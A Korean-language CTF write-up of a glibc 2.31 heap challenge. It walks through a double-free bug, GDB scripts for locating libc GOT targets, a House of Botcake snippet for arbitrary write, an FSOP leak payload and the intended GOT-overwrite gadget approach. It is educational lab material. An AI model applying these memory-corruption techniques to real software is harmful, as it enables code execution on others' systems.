heap_chall_1

🚧 This writeup will be fortified 🚧

To see the post, you’ll need the flag to access the content. To be implemented later.

Challenge

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

문제구성은 매우 단순하다.

0 - make note
1 - delete note
2 - exit
choice: 

위 내용이 전부다.
기능적으로 make, delete, exit 세 가지만 존재한다.
make note에서는 크기를 입력받고, 해당 크기만큼 메모리를 할당한 뒤, 내용을 입력받는다.
delete note에서는 인덱스를 입력받고, 해당 인덱스의 메모리를 해제한다.
exit는 그냥 종료이다.

이때 make_note에서는 마지막 바이트를 항상 0으로 설정한다는 점이 특징이다.

Writeup

Vulnerability

double free 하나만 존재하고 leak도 표면적으로 보이지 않는다. 그로 인해 문제의 난이도가 크게 올라간 느낌이다.

Analysis

double free가 가능하다면 fastbin dup + unsortedbin leak을 이용해서 아마 libc 쪽 주소 어딘가를 덮어쓰는 것까진 생각을 했는데…write시 마지막 바이트를 0으로 설정하기도 하고, 어디를 덮어써야 할지 감이 오지 않았다.

일단 glibc 분석을 해야 할 것 같아서 docker 내에서 분석을 진행했다.

그래서 열심히 찾아다니다가, FSOP계열도 위치가 애매하게 멀리 있어서 결국 가능한 것들을 0으로 싹 덮어쓰고 어디서 segfault가 나는지 확인했다.

아래와 같은 스크립트를 이용해서 꽤나 빠르게 확인할 수 있다.

python
for i in range(32 * 3):
    gdb.execute(f"set *(long *)0x7f24c8e18{8*i:03x}=0")
end

python
hex_digits = "0123456789abcdef"
for d1 in hex_digits:
    for i in range(32 * 3):
        try:
            gdb.execute(f"telescope 0x7f1b7481{d1}{8*i:03x} 1")
        except Exception:
            print("")
            continue
end

 ► 0              0x0
   1   0x7f24c8ca2905 __vfprintf_internal+165
   2   0x7f24c8ca2905 __vfprintf_internal+165
   3   0x7f24c8ca5ea2 buffered_vfprintf+194
   4   0x7f24c8ca2d24 __vfprintf_internal+1220
   5   0x7f24c8c8dd3f printf+175
   6   0x5577485c732e make_note+45
   7   0x5577485c757e main+185

찾았다!

   108 __extern_always_inline const unsigned char *
   109 __find_specmb (const unsigned char *format)
   110 {
 ► 111   return (const unsigned char *) __strchrnul ((const char *) format, '%');
   112 }

위 함수에서 __strchrnul_이 호출되는데, 그 과정에서 PLT를 이용한다.

=> 0x00007f1a3f1db390 <+0>:     endbr64 
   0x00007f1a3f1db394 <+4>:     bnd jmp QWORD PTR [rip+0x1c9ca5]        # 0x7f1a3f3a5040 <*ABS*@got.plt>
   0x00007f1a3f1db39b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

따라가면 위처럼 0x7f1a3f3a5040, 즉, 0x7f1a3f3a_0__ 꼴의 주소임을 확인할 수 있다. 현재 마지막 바이트가 00으로 고정되므로 우리에게 딱 필요한 함수이다.

정확한 offset은 libc의 rw 섹션 +0x40이다.

주어진 libc는 2.31 초기버전이다. 따라서 최신 libc-2.31로 디버깅하게 되면 일부 offset이 다를 수 있다.
그러나 분석은 LD_PRELOAD 없이 진행하는 것이 편리한데, 아래처럼 심볼이 살아있기 때문이다.

00:0000│  0x7f97e7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— > 0x1ebb80                                               
01:0008│  0x7f97e7faf008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f97e7fb5000 —▸ 0x7f97e7dc3000 ◂— > 0x3010102464c457f                  
02:0010│  0x7f97e7faf010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f97e7fdabc0 (_dl_runtime_resolve_xsavec) ◂— > endbr64       
03:0018│  0x7f97e7faf018 (*ABS*@got.plt) —▸ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) ◂— > endbr64            
04:0020│  0x7f97e7faf020 (*ABS*@got.plt) —▸ 0x7f97e7f4baa0 (__strnlen_avx2) ◂— > endbr64                       
05:0028│  0x7f97e7faf028 (*ABS*@got.plt) —▸ 0x7f97e7f4fe60 (__wcschr_avx2) ◂— > endbr64                     
06:0030│  0x7f97e7faf030 (realloc@got.plt) —▸ 0x7f97e7de5040 ◂— > endbr64                                                                           
07:0038│  0x7f97e7faf038 (*ABS*@got.plt) —▸ 0x7f97e7f49964 (__strncasecmp_l_avx) ◂— > endbr64                                                       
08:0040│  0x7f97e7faf040 (*ABS*@got.plt) —▸ 0x7f97e7f4b540 (__strchrnul_avx2) ◂— > endbr64                                                           
09:0048│  0x7f97e7faf048 (*ABS*@got.plt) —▸ 0x7f97e7f4eea0 (__wmemcmp_avx2_movbe) ◂— > endbr64                                                                
0a:0050│  0x7f97e7faf050 (*ABS*@got.plt) —▸ 0x7f97e7f4db30 (__stpcpy_avx2) ◂— endbr64 
0b:0058│  0x7f97e7faf058 (__tls_get_addr@got.plt) —▸ 0x7f97e7de5090 ◂— endbr64 
0c:0060│  0x7f97e7faf060 (*ABS*@got.plt) —▸ 0x7f97e7f4dee0 (__stpncpy_avx2) ◂— endbr64 
0d:0068│  0x7f97e7faf068 (*ABS*@got.plt) —▸ 0x7f97e7f46cc0 (__strspn_sse42) ◂— endbr64 
0e:0070│  0x7f97e7faf070 (*ABS*@got.plt) —▸ 0x7f97e7f50280 (__wcslen_avx2) ◂— endbr64 
0f:0078│  0x7f97e7faf078 (memalign@got.plt) —▸ 0x7f97e7de50d0 ◂— endbr64 
10:0080│  0x7f97e7faf080 (_dl_exception_create@got.plt) —▸ 0x7f97e7de50e0 ◂— endbr64 
11:0088│  0x7f97e7faf088 (*ABS*@got.plt) —▸ 0x7f97e7f47760 (__memchr_avx2) ◂— endbr64 
12:0090│  0x7f97e7faf090 (*ABS*@got.plt) —▸ 0x7f97e7f482e4 (__strcasecmp_l_avx) ◂— endbr64 
13:0098│  0x7f97e7faf098 (*ABS*@got.plt) —▸ 0x7f97e7f47b80 (__memrchr_avx2) ◂— endbr64 
14:00a0│  0x7f97e7faf0a0 (__tunable_get_val@got.plt) —▸ 0x7f97e7de5120 ◂— endbr64 
15:00a8│  0x7f97e7faf0a8 (*ABS*@got.plt) —▸ 0x7f97e7f4b900 (__strlen_avx2) ◂— endbr64 
16:00b0│  0x7f97e7faf0b0 (*ABS*@got.plt) —▸ 0x7f97e7f4b310 (__strchr_avx2) ◂— endbr64 
17:00b8│  0x7f97e7faf0b8 (*ABS*@got.plt) —▸ 0x7f97e7f46b80 (__strpbrk_sse42) ◂— endbr64 
18:00c0│  0x7f97e7faf0c0 (*ABS*@got.plt) —▸ 0x7f97e7f40ab0 (__wcscpy_ssse3) ◂— endbr64 
19:00c8│  0x7f97e7faf0c8 (*ABS*@got.plt) —▸ 0x7f97e7f4ed00 (__wmemset_avx2_unaligned) ◂— endbr64 
1a:00d0│  0x7f97e7faf0d0 (*ABS*@got.plt) —▸ 0x7f97e7f4ed00 (__wmemset_avx2_unaligned) ◂— endbr64 
1b:00d8│  0x7f97e7faf0d8 (*ABS*@got.plt) —▸ 0x7f97e7f50440 (__wcsnlen_avx2) ◂— endbr64 
1c:00e0│  0x7f97e7faf0e0 (*ABS*@got.plt) —▸ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) ◂— endbr64 
1d:00e8│  0x7f97e7faf0e8 (*ABS*@got.plt) —▸ 0x7f97e7f4ce40 (__strcpy_avx2) ◂— endbr64 
1e:00f0│  0x7f97e7faf0f0 (*ABS*@got.plt) —▸ 0x7f97e7f4f210 (__wmemchr_avx2) ◂— endbr64 
1f:00f8│  0x7f97e7faf0f8 (*ABS*@got.plt) —▸ 0x7f97e7f49950 (__strncasecmp_avx) ◂— endbr64 
20:0100│  0x7f97e7faf100 (_dl_find_dso_for_object@got.plt) —▸ 0x7f97e7de51e0 ◂— endbr64 
21:0108│  0x7f97e7faf108 (*ABS*@got.plt) —▸ 0x7f97e7f46a40 (__strcspn_sse42) ◂— endbr64 
22:0110│  0x7f97e7faf110 (*ABS*@got.plt) —▸ 0x7f97e7f4baa0 (__strnlen_avx2) ◂— endbr64 
23:0118│  0x7f97e7faf118 (*ABS*@got.plt) —▸ 0x7f97e7f4fe60 (__wcschr_avx2) ◂— endbr64 
24:0120│  0x7f97e7faf120 (calloc@got.plt) —▸ 0x7f97e7de5220 ◂— endbr64 
25:0128│  0x7f97e7faf128 (*ABS*@got.plt) —▸ 0x7f97e7f4ed90 (__memset_avx2_unaligned_erms) ◂— endbr64 
26:0130│  0x7f97e7faf130 (*ABS*@got.plt) —▸ 0x7f97e7f46df0 (__strcmp_avx2) ◂— endbr64 
27:0138│  0x7f97e7faf138 (*ABS*@got.plt) —▸ 0x7f97e7f47230 (__strncmp_avx2) ◂— endbr64 
28:0140│  0x7f97e7faf140 (*ABS*@got.plt) —▸ 0x7f97e7f47ef0 (__memcmp_avx2_movbe) ◂— endbr64 
29:0148│  0x7f97e7faf148 (*ABS*@got.plt) —▸ 0x7f97e7f4e8f0 (__mempcpy_avx_unaligned_erms) ◂— endbr64 
2a:0150│  0x7f97e7faf150 (*ABS*@got.plt) —▸ 0x7f97e7f4f4e0 (__wcscmp_avx2) ◂— endbr64 
2b:0158│  0x7f97e7faf158 (*ABS*@got.plt) —▸ 0x7f97e7f4f210 (__wmemchr_avx2) ◂— endbr64 
2c:0160│  0x7f97e7faf160 (*ABS*@got.plt) —▸ 0x7f97e7f47a30 (__rawmemchr_avx2) ◂— endbr64 
2d:0168│  0x7f97e7faf168 (*ABS*@got.plt) —▸ 0x7f97e7f4b730 (__strrchr_avx2) ◂— endbr64 
2e:0170│  0x7f97e7faf170 (*ABS*@got.plt) —▸ 0x7f97e7f4bdc0 (__strcat_avx2) ◂— endbr64 
2f:0178│  0x7f97e7faf178 (*ABS*@got.plt) —▸ 0x7f97e7f482d0 (__strcasecmp_avx) ◂— endbr64 
30:0180│  0x7f97e7faf180 (*ABS*@got.plt) —▸ 0x7f97e7f4d1d0 (__strncpy_avx2) ◂— endbr64 
31:0188│  0x7f97e7faf188 (*ABS*@got.plt) —▸ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) ◂— endbr64 

사실 생각해보면 libc GOT overwrite로 RCE할 때처럼 GOT entry를 덮어쓰면 되는 것 같다.
평소에 주로 exit_handler랑 FSOP쪽으로 RCE 해와서 여기를 덮어쓰는 생각을 못했었다.
일단 위 목록을 확보한 후, 계속 봤는데 약간의 문제가 있다.
여기서도 overwrite를 할 때 마지막 바이트가 0으로 고정될 것인데, 0x7f97e7f4_0__ 꼴의 함수들은 모두 위에 보이는 plt 함수들이다. 즉, leak에 유용한 것들이 없다.

그래서 이제부터는 libc 소스코드를 뒤지기 시작했다. 현재 바꿀 수 있는 영역이 GOT 외에는 없으므로 사실상 저기 있는 string 관련 헬퍼 함수들을 어떻게 잘 써서 넘어가야할 것 같다.
그때 눈에 들어온건 아래의 코드이다.

...
      /* Look for next format specifier.  */
#ifdef COMPILE_WPRINTF
      f = __find_specwc ((end_of_spec = ++f));
#else
      f = __find_specmb ((end_of_spec = ++f));
#endif

      /* Write the following constant string.  */
      outstring (end_of_spec, f - end_of_spec);
    }
...

outstring (end_of_spec, f - end_of_spec);이 보인다. 살펴보면 puts를 이용해서 f - end_of_spec 길이만큼 end_of_spec부터 출력하는 함수이다.
어? 그러면 __find_specmb 함수가 0이나 음수를 반환하게 한다면?
바로 __strchrnul 함수를 __strcmp 함수로 교체해 보았다.

Segfault가 뜨긴 했지만 leak이 발생했다!
그래서 이 이후로 Segfault가 나는 경로를 따라가면서 다른 주소도 덮어쓰려고 시도했으나 memcpy에서 터지는 Segfault를 막을수가 없었다…

결국 다른 방법을 찾아야했다. 그래서 GOT영역에 호출되는 함수를 찾기위해 해당 영역에 싹 breakpoint를 걸로 실행시켜보았다.
그 결과 puts에서 strlen 호출이 발생하는 것을 확인했다.

따라서 strlen 함수를 적절하게 덮어쓰면 leak이 가능할 것 같았다.

그러나 아쉽게도 여기서 의지가 꺾여서 그냥 1/4096으로 FSOP로 leak하는 걸로 전향했다… 이미 시간을 너무 쓴 상태라 빠르게 끝내고 풀이를 공부하고자 했기 때문이다.

From double free to AAW

double free만 있을 때는 2가지 방법으로 AAW를 달성할 수 있다. (더 있을 수 있지만, 이 상황에서 간단한 것들은 아래의 것들이다.)

1. Fastbin dup into tcache
2. House of Botcake

나는 2번 방법을 통해서 AAW를 달성했다. House of Botcake 방법은 아래의 절차로 진행된다.

1. tcache 모두 채우기, 크기는 fastbin 크기를 초과하도록. e.g. 0x100
2. unsortedbin에 2개의 청크 할당 → 알아서 병합되도록
3. 청크 할당: tcache 하나 비워짐 → 이때 unsortedbin 청크를 해제: double free 발생

이후 main_arena 주소를 tcache의 next 주소로 옮기는 것은 어렵지 않다.

그림으로는 아래와 같다.

7,8 청크가 병합되도록 위처럼 세팅

이후 8번 청크 2회 해제, tcache에 double free 발생

코드로는 아래와 같다.

for i in range(7):
   ncreate(i, 0xA0)

ncreate(7, 0xA0)
ncreate(8, 0xA0)
ncreate(9, 0x10)

for i in range(7):
   ndelete(i)

ndelete(8)
ndelete(7)
ncreate(0, 0xA0)
ndelete(8)  # 8 is the target!

# More!
ncreate(0, 0x40)
ncreate(0, 0x50)
ncreate(0, 0x40, ptr_to_overwrite)

ncreate(0, 0xA0)
ncreate(1, 0xA0, data_to_write)

나의 경우 FSOP로 leak 할거였으니 p64(0xFBAD1800) + p64(0) + p64(0) * 2 + b"\x00" + b"\n" 이런식으로 작성했다.

Leak using FSOP

이 블로그 글 에서 설명을 매우 잘 해놓았다.

Extra Notes

Intentional Solution

역시 GOT overwrite를 통한 RCE가 의도된 풀이이다. 다만 내가 놓친 부분이 있어 정리를 해둘 필요가 있을 것 같다.

strlen 함수를 오버라이트 할 때 마지막 short값 0x00**로 strlen 주소를 변경할 수 있었다. (한 바이트를 더 바꾸려면 256 브포 추가) 이때 난 0x...00** 꼴 주소들이 대부분 필요 없는 함수고 바로 덮어쓰니 segfault가 나서 신경을 쓰지 않았지만 이 부분은 ROP로 사용이 가능하다.
즉, 0x...00** 꼴의 주소 중 합리적인 체인을 찾아서 puts의 정상적인 strlen 호출을 조작해야하는 것이다.

sub eax, ecx; ret; 가젯으로 덮으면 eax - ecx가 반환값이 되므로 훨씬 긴 길이를 출력할 수 있다.
그리고 rax는 choice할 때 사용되는 값이 저장되어 있기에 이를 활용하여 choice에 매우 큰 숫자를 넣어 strlen 반환값을 조작할 수 있다!! 직접 rax까지 조작해주어야 한다는 점, 그리고 이러한 레지스터까지 나도 조작할 수 있다는 것을 모르고 놓친 부분이 아쉬웠다.